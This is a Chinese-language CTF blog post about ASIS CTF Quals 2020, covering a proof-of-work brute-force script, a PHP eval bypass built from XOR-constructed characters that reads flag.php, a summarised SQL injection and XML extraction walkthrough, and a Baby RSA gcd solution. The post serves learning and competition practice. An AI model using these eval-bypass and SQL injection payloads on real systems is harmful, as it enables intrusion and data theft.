Contents

[Sharing] ASIS CTF Quals 2020

https://res.cloudinary.com/eevee-blog/image/upload/f_auto,q_auto/v1618818959/blog-posts/2020-07/14-dashboard.webp

暑假第一場 CTF online,同時也是我們 MacacaHub 的今年第三戰~
不過同時也被隊長告知有一定的難度要有心理準備,嗯、真滴難QwQ
題組全部共 31 題,雖然只解 4 題還有 Rank 151 / 815 … 太可怕了==

CTFtime link

寫在前面的話

從上圖可以看得出來,我們解出來的四題扣掉 WelcomeSurvey(feedback),實際答出來的只有兩題。然而還是有兩支隊伍破台,別忘了這場還是Quals(資格賽),人外有人天外有天呢…

既然只摸出兩題,這篇標題自然沒辦法放 “writeup",所以就當做見見世面發些心得,同時針對一些賽中我認為很有趣的題目稍微參考別人解法寫一下,其實有幾題看完題解發現都不太難,只是有沒有發現而已QQ。

Mechanism: Proof of Work

上次遇到 PoWAIS3 EOF CTF 2019Ponzi Scheme,這技術常見於區塊鏈加密貨幣的機制,是一種對應服務與資源濫用、或是阻斷服務攻擊(DoS)的經濟對策。要求使用者進行一些耗時適當的複雜運算,並且答案能被服務方快速驗算,以此耗用的時間、裝置與能源做為擔保成本,以確保服務與資源是被真正的需求所使用。

所以某方面也算是官方針對 nc 題目一種自我保護的機制,避免被大量玩家戳一戳就掛掉。另一方面,我自己猜可能有些題目可以用 Brute Force 的爆出答案,避免這種情況才加了這項機制。總之,雖然並非主要考點,但如果過不了也沒辦法解題XD 雖然並不是每題 nc 題目都有 PoW ,不過翻了翻 ASIS CTF 往年的題目只要有出現 PoW 的都不太一樣,沒辦法直接抄來用QQ

↓↓↓ 以這場來看,PoW描述如下 ↓↓↓

1
2
3
4
$ nc [ip] [port]
> Please submit a printable string X, such that sha224(X)[-6:] = 6be655 and len(X) = 19
haha
> You must pass this PoW challenge :P

翻譯一下:系統要求輸入長度為 19 的字串 X,同時要滿足 sha224(X) 後 6 位為 6be655。 其中, Hash Algorithm 的部分每次連線結果都不同,隨意測試就有 sha1, sha224, sha256, sha384, sha512, md5 …ect ,而且不同往年 ASIS CTF 多了指定 輸入長度len(x) ,同樣每次連線結果不同,測出來 Range 大約 10 - 40。

根據 Hash 的特性,雖然因為不可逆沒辦法從後6位往回推,但相同的輸入一定會得到 相同的輸出 ,那我們其實可以暴力產生指定長度的輸入,拿去 hash 再看看有沒有符合後6位的條件就行了。

個人的做法是連線後用字串處理拿到 Hash Algorithmlength ,只針對 sha256 且長度為 10的PoW直接爆搜字串進行驗證,簡單用python表示如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
import hashlib
import string

def pow_solve(s): 
    for a in string.printable:
        for b in string.printable:
            for c in string.printable:
                for d in string.printable:
                    for e in string.printable:
                        for f in string.printable:
                            for g in string.printable:
                                for h in string.printable:
                                    for i in string.printable:
                                        for j in string.printable:
                                            if hashlib.sha256(a+b+c+d+e+f+g+h+i+j).hexdigest()[-6:] == s:
                                                return a+b+c+d+e+f+g+h+i+j

# 通常1000次內一定會有 sha256 & len=10
for i in range(1000):
    r = remote(host, port)

    # 省略字串處理過程
    hash_algo = r.recv(6)
    if s == 'sha256':
        target = r.recv(6)
        length = r.recv(2)
        if int(length) == 10:
            r.sendline(pow_solve(target))
            r.interactive()
            #solve()
    r.close()

我知道一定會有人想吐槽那個 10 層迴圈,不過不想花時間刻 DFS 這樣寫最直觀 XD 賽後在網路上翻到其他玩家的作法如下,趕緊存起來!! source link

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/python3
import hashlib
import uuid
from pwn import *
#import string

r = remote("76.74.178.201", 8002)

info = r.recvuntil("\n").decode("UTF-8").split(" ")
print(info)
algo = info[8].split("(")[0]
target = info[10]
length = int(info[-1])
print(f"[*] algo needed: {algo}")
print(f"[*] target needed: {target}")
print(f"[*] length needed: {length}")

def random_ascii_generator(l):
    string = str(uuid.uuid4()).replace("-", "")[0:l].encode("ascii")
    return string[0:l]

algo_matching = {
    "sha1": hashlib.sha1,
    "md5": hashlib.md5,
    "sha224": hashlib.sha224,
    "sha256": hashlib.sha256,
    "sha384": hashlib.sha384,
    "sha512": hashlib.sha512,
}

candidate_hash = ""
while not candidate_hash[-6:] == target:
    candidate_string = random_ascii_generator(length)
    candidate_hash = algo_matching[algo](candidate_string).hexdigest()

print("[*] PoW found")
r.sendline(candidate_string)

print(r.recvline())
print(r.recvline())
print(r.recvline())
print(r.recvline())
print(r.recvline())
print(r.recvline())

執行看起來就簡潔有力,好羨慕 >///<

https://res.cloudinary.com/eevee-blog/image/upload/f_auto,q_auto/v1618818959/blog-posts/2020-07/14-solver.webp

P.S. 圖中的題目為 PPC-Titanic

[Web] Web Warm-up (Solved)

Warm up! Can you break all the tasks? I’ll pray for you!
read flag.php
Link: http://69.90.132.196:5003/?view-source

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<?php
if(isset($_GET['view-source'])){
    highlight_file(__FILE__);
    die();
}

if(isset($_GET['warmup'])){
    if(!preg_match('/[A-Za-z]/is',$_GET['warmup']) && strlen($_GET['warmup']) <= 60) {
    eval($_GET['warmup']);
    }else{
        die("Try harder!");
    }
}else{
    die("No param given");
}

從上方 source code 可以用 GET /warmup=,想辦法存取flag.php,不過限制就是無法使用英文字母以及payload長度必須小於60字元。

重點在於preg_match繞過,關鍵字拿去查找到 ctf中 preg_match 绕过技术 | 无字母数字的webshell
其中的解法1就是答案了,簡單講就是利用"特殊字元"互相XOR出"字母”,舉例來說:

1
2
>>> chr(ord('m')^ord('@'))
'-'

表示 @ ^ - = m,最後只差在該如何構造出payload,畢竟我對php沒有到很熟 QQ 在參考其他ctf writeup想到的解法是

1
2
3
4
5
6
7
$_=']),>'^';@@[';        // file
$__='\],::'^'{;@[]';     // 'flag
$___='-@-\\'^'](]{';     // php'
$_($__.$___);            // file('flag.php')

payload:
$_=']),>'^';@@[';$__='\],::'^'{;@[]';$___='-@-\\'^'](]{';$_($__.$___);

無奈長度達69沒辦法繞過第二項條件。

另外用 $_='-@-)@]@'^'](]@.;/';$_(); 拼出 phpinfo();後可以觀察到有趣的資訊… https://res.cloudinary.com/eevee-blog/image/upload/f_auto,q_auto/v1618818959/blog-posts/2020-07/14-phpinfo.webp

好吧好像一點也不有趣,對方伺服器擋了很多方便的系統函數,所以 @stavhaygn 也戳了不少 payload 都落空。

最後拼出來的答案其實很簡單… 就是 readfile('flag.php');
長度方面 ('[>:@]),>'^')[[$;@@[')('],::.-@-'^';@[]%00](]'); 為 49 ,可喜可賀。

[Web] Treasury #1 (Unsolved)

從題目點開連結後畫面如下,其中 AE 點開會跳出小視窗顯示書本內容,而 RO 會開新視窗連到書本來源。

https://res.cloudinary.com/eevee-blog/image/upload/f_auto,q_auto/v1618818959/blog-posts/2020-07/14-treasury.webp

我們從 treasury.js 可以看到抓取書本內容的方式為 /books.php?type=excerpt&id=xx ,其中 xx 就對應畫面中出現的三本書 id 分別為 1, 2, 3。

https://res.cloudinary.com/eevee-blog/image/upload/f_auto,q_auto/v1618818959/blog-posts/2020-07/14-treasuryjs.webp

然後、就沒有然後了。 原因是我們顧著用整數戳 id ,或是想辦法找其他入口,忽略字串形式的方法(事實上我也沒戳很久就是了)。賽後看完 Writeup ,感覺自己缺少了很多這方面的瞭解,就算找到 SQLi 可能還是沒辦法戳出來QwQ

以下我大概整理 writeup 的解題思路:

a. 確定SQLi漏洞

透過 id=1' and 1=1; --%20id=1' and 1=2; --%20 ,前者成功回傳資料,後者沒有任何顯示,可知該command後面的statement成功被執行。 P.S. 要注意 -- 註解後要多個空白 %20 ,否則會執行失敗

b. 嘗試用UNION搭配其他SQL command

id=9' union select 'hello'; --%20 發現回傳的Warning資訊是關於 simplexml_load_string() ,同時也間接表示可能有XXE的漏洞。

c. 確認資料庫種類和版本

id=9' union select @@version; --%20 瞭解資料庫為 MariaDB 及版本 10.5.4 ,然後 writeup 提供 https://sqliteonline.com/ 可以線上測試資料庫指令。

d. 逐步猜資料庫欄位

之後有點像 sqlmap 從已知的資訊開始把資料庫的內容還原出來,搜尋"mariadb enumerate columns"。
select column_name from information_schema.COLUMNS where table_name='books' limit 1,1; --: 其中information_schema.COLUMNS為一個View Table物件,另外limit可以限制開始位置(zero based)及列出筆數。

e. 針對XML structure逐步還原資料

writeup 中是利用substr(str, pos, len)嘗試抓 XML 資料,從錯誤提示把 tag 慢慢拼湊起來,如下。

1
2
3
4
5
6
7
8
9
<book>
<id>1</id>
<name>blah</name>
<author>blah</author>
<year>blah</year>
<link>blah</link>
<flag>blah</flag>
<excerpt>blah</excerpt>
</book>

concat('<book><excerpt>',replace(info, '<', ''),'</excerpt></book>')
最後為了讓所有資訊都能完整顯示(包含tag),writeup使用cancat連結所有字串 及 replace('<','')把左角括號拿掉使tag渲染失敗,結束。

至於 Treasury #2 就是接下去利用 XXE 撈 flag。

[Crypto] Baby RSA (Unsolved)

All babies love [RSA] (↓). How about you?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/python

from Crypto.Util.number import *
import random
from flag import flag

nbit = 512
while True:
    p = getPrime(nbit)
    q = getPrime(nbit)
    e, n = 65537, p*q
    phi = (p-1)*(q-1)
    d = inverse(e, phi)
    r = random.randint(12, 19)
    if (d-1) % (1 << r) == 0:
        break

s, t = random.randint(1, min(p, q)), random.randint(1, min(p, q))
t_p = pow(s*p + 1, (d-1)/(1 << r), n)
t_q = pow(t*q + 4, (d-1)/(1 << r), n)

print 'n =', n
print 't_p =', t_p
print 't_q =', t_q
print 'enc =', pow(bytes_to_long(flag), e, n)
1
2
3
4
n = 10594734342063566757448883321293669290587889620265586736339477212834603215495912433611144868846006156969270740855007264519632640641698642134252272607634933572167074297087706060885814882562940246513589425206930711731882822983635474686630558630207534121750609979878270286275038737837128131581881266426871686835017263726047271960106044197708707310947840827099436585066447299264829120559315794262731576114771746189786467883424574016648249716997628251427198814515283524719060137118861718653529700994985114658591731819116128152893001811343820147174516271545881541496467750752863683867477159692651266291345654483269128390649
t_p = 4519048305944870673996667250268978888991017018344606790335970757895844518537213438462551754870798014432500599516098452334333141083371363892434537397146761661356351987492551545141544282333284496356154689853566589087098714992334239545021777497521910627396112225599188792518283722610007089616240235553136331948312118820778466109157166814076918897321333302212037091468294236737664634236652872694643742513694231865411343972158511561161110552791654692064067926570244885476257516034078495033460959374008589773105321047878659565315394819180209475120634087455397672140885519817817257776910144945634993354823069305663576529148
t_q = 4223555135826151977468024279774194480800715262404098289320039500346723919877497179817129350823600662852132753483649104908356177392498638581546631861434234853762982271617144142856310134474982641587194459504721444158968027785611189945247212188754878851655525470022211101581388965272172510931958506487803857506055606348311364630088719304677522811373637015860200879231944374131649311811899458517619132770984593620802230131001429508873143491237281184088018483168411150471501405713386021109286000921074215502701541654045498583231623256365217713761284163181132635382837375055449383413664576886036963978338681516186909796419
enc = 5548605244436176056181226780712792626658031554693210613227037883659685322461405771085980865371756818537836556724405699867834352918413810459894692455739712787293493925926704951363016528075548052788176859617001319579989667391737106534619373230550539705242471496840327096240228287029720859133747702679648464160040864448646353875953946451194177148020357408296263967558099653116183721335233575474288724063742809047676165474538954797346185329962114447585306058828989433687341976816521575673147671067412234404782485540629504019524293885245673723057009189296634321892220944915880530683285446919795527111871615036653620565630

題目給了一份 codeoutput.txt,要求把 flag 推出來。

看起來還算是個資訊很多的crypto題,所以我一開始完全忽略 line 18 - 20,只想著能不能從 output.txt 把 flag 拼出來。後來也發現 n 根本沒辦法透過 factordb.com 拆成p, q,某方面來說也是蠻現實的題目:給予密文enc、公鑰(e, n),不過多了奇怪的線索t_p, t_q

參考 writeup

前半部 While 是標準的 RSA ,從 writeup 來看關鍵就在 line 18 - 20… 嗯、聽起來是廢話,但我當初忽略的原因在於 line 18 的 s, t 完全是透過 p, q 隨機出來的數字,就算知道 n 可以間接固定 p , q ,但在爆不出來的情況下更遑論推出 d,所以花了很多時間在亂推式子 ==

真正的關鍵點在line 19: t_p = pow(s*p + 1, (d-1)/(1 << r), n),在已經知道 $t_p$ 的前提可以整理如下:

$$t_p = (s*p + 1) ^ {(d-1)/(1«r)}$$

再來writeup說明算式右邊部分除了 $1$ 以外都可以被 $p$ 整除,我自己最後的理解如下。 令 $x = s * p$ ,在 $(x + 1) ^ k$ 的情況下把 $k$ 用 $2, 3$ 代入看看:

$$(x+1)^2 = x^2 + 2*x*1 + 1^2$$

$$(x+1)^3 = x^3 + 3*x^2*1^1 + 3*x^1*1^2 + 1^3$$

根據上述兩式,若 $x$ 能夠被 $p$ 整除,那會得到 $(x+1)^k = 1\ mod\ p $,回到原式可知 $$t_p\ mod\ p = (s*p + 1) ^ {(d-1)/(1«r)}\ mod\ p = 1 , \therefore t_p = 1\ mod\ p$$

這下我們可以確定 $t_p-1$ 是 $p$ 的倍數,同時由於 $n=p*q$ , $n$ 也是 $p$ 的倍數,剩下就好辦了~

↓ 直接照搬code(懶) ↓

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
>>> from Crypto.Util.number import *
>>> from math import gcd
>>> n = {blah}
>>> t_p = {blah}
>>> enc = {blah}
>>> p = gcd(n,t_p-1)
>>> q = n // p
>>> assert n == p * q
>>> phi = (p-1)*(q-1)
>>> e = 65537
>>> d = inverse(e,phi)
>>> long_to_bytes(pow(enc,d,n))
b'ASIS{baby___RSA___f0r_W4rM_uP}'

[Misc][Forensics] Adventure

Time plays a role in almost every decision. And some decisions define your attitude about time. Can you [README.txt]? It’s time for a new adventure!

Note: Slow-download is international and part of the task.

題目給定下載連結,印象中好像有到 4G bytes,然後你會發現下載超慢還會斷XDD 然後我就傻傻的一直給他按下載丟著讓他跑,想當然爾沒有結果~

看完 writeup 才發覺這題其實還蠻好玩der !!

如果有時間希望可以在這裡補完自己摸過之後的想法 ><